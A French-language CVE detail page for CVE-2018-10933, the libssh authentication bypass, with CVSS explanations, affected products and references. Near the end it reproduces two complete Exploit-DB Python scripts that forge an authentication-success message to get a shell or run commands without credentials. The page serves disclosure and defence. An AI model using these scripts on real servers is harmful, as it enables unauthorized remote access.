CVE-2018-10933 : Détail

CVE-2018-10933

9.1
/
Critique
Authorization problems
A07-Identif. and Authent. Fail
22.17%V3
Network
2018-10-17
10h00 +00:00
2019-01-19
09h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

A vulnerability was found in libssh's server-side state machine before versions 0.7.6 and 0.8.4. A malicious client could create channels without first performing authentication, resulting in unauthorized access.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-592 DEPRECATED: Authentication Bypass Issues
This weakness has been deprecated because it covered redundant concepts already described in CWE-287.
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.1 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics
V2 6.4 AV:N/AC:L/Au:N/C:P/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 45638

Date de publication : 2018-10-17 22h00 +00:00
Auteur : Dayanç Soyadlı
EDB Vérifié : No

#!/usr/bin/env python3 import paramiko import socket import argparse from sys import argv, exit parser = argparse.ArgumentParser(description="libSSH Authentication Bypass") parser.add_argument('--host', help='Host') parser.add_argument('-p', '--port', help='libSSH port', default=22) parser.add_argument('-log', '--logfile', help='Logfile to write conn logs', default="paramiko.log") args = parser.parse_args() def BypasslibSSHwithoutcredentials(hostname, port): sock = socket.socket() try: sock.connect((str(hostname), int(port))) message = paramiko.message.Message() transport = paramiko.transport.Transport(sock) transport.start_client() message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) spawncmd = transport.open_session() spawncmd.invoke_shell() return 0 except paramiko.SSHException as e: print("TCPForwarding disabled on remote/local server can't connect. Not Vulnerable") return 1 except socket.error: print("Unable to connect.") return 1 def main(): paramiko.util.log_to_file(args.logfile) try: hostname = args.host port = args.port except: parser.print_help() exit(1) BypasslibSSHwithoutcredentials(hostname, port) if __name__ == '__main__': exit(main())
Exploit Database EDB-ID : 46307

Date de publication : 2018-10-19 22h00 +00:00
Auteur : jas502n
EDB Vérifié : Yes

#!/usr/bin/env python3 import sys import paramiko import socket import logging # pip3 install paramiko==2.0.8 #logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) logging.basicConfig(stream=sys.stdout) bufsize = 2048 def execute(hostname, port, command): sock = socket.socket() try: sock.connect((hostname, int(port))) message = paramiko.message.Message() transport = paramiko.transport.Transport(sock) transport.start_client() message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) client = transport.open_session(timeout=10) client.exec_command(command) # stdin = client.makefile("wb", bufsize) stdout = client.makefile("rb", bufsize) stderr = client.makefile_stderr("rb", bufsize) output = stdout.read() error = stderr.read() stdout.close() stderr.close() return (output+error).decode() except paramiko.SSHException as e: logging.exception(e) logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable") except socket.error: logging.debug("Unable to connect.") return None if __name__ == '__main__': print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

Products Mentioned

Configuraton 0

Libssh>>Libssh >> Version From (including) 0.6.0 To (excluding) 0.7.6

Libssh>>Libssh >> Version From (including) 0.8.0 To (excluding) 0.8.4

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 18.10

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Redhat>>Enterprise_linux >> Version 7.0

Configuraton 0

Netapp>>Oncommand_unified_manager >> Version From (including) 7.3

Netapp>>Oncommand_unified_manager >> Version From (including) 9.4

Netapp>>Oncommand_workflow_automation >> Version -

Netapp>>Snapcenter >> Version -

Netapp>>Storage_automation_store >> Version -

Configuraton 0

Oracle>>Mysql_workbench >> Version To (including) 8.0.13

Références

https://usn.ubuntu.com/3795-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3795-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.debian.org/security/2018/dsa-4322
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.exploit-db.com/exploits/45638/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/105677
Tags : vdb-entry, x_refsource_BID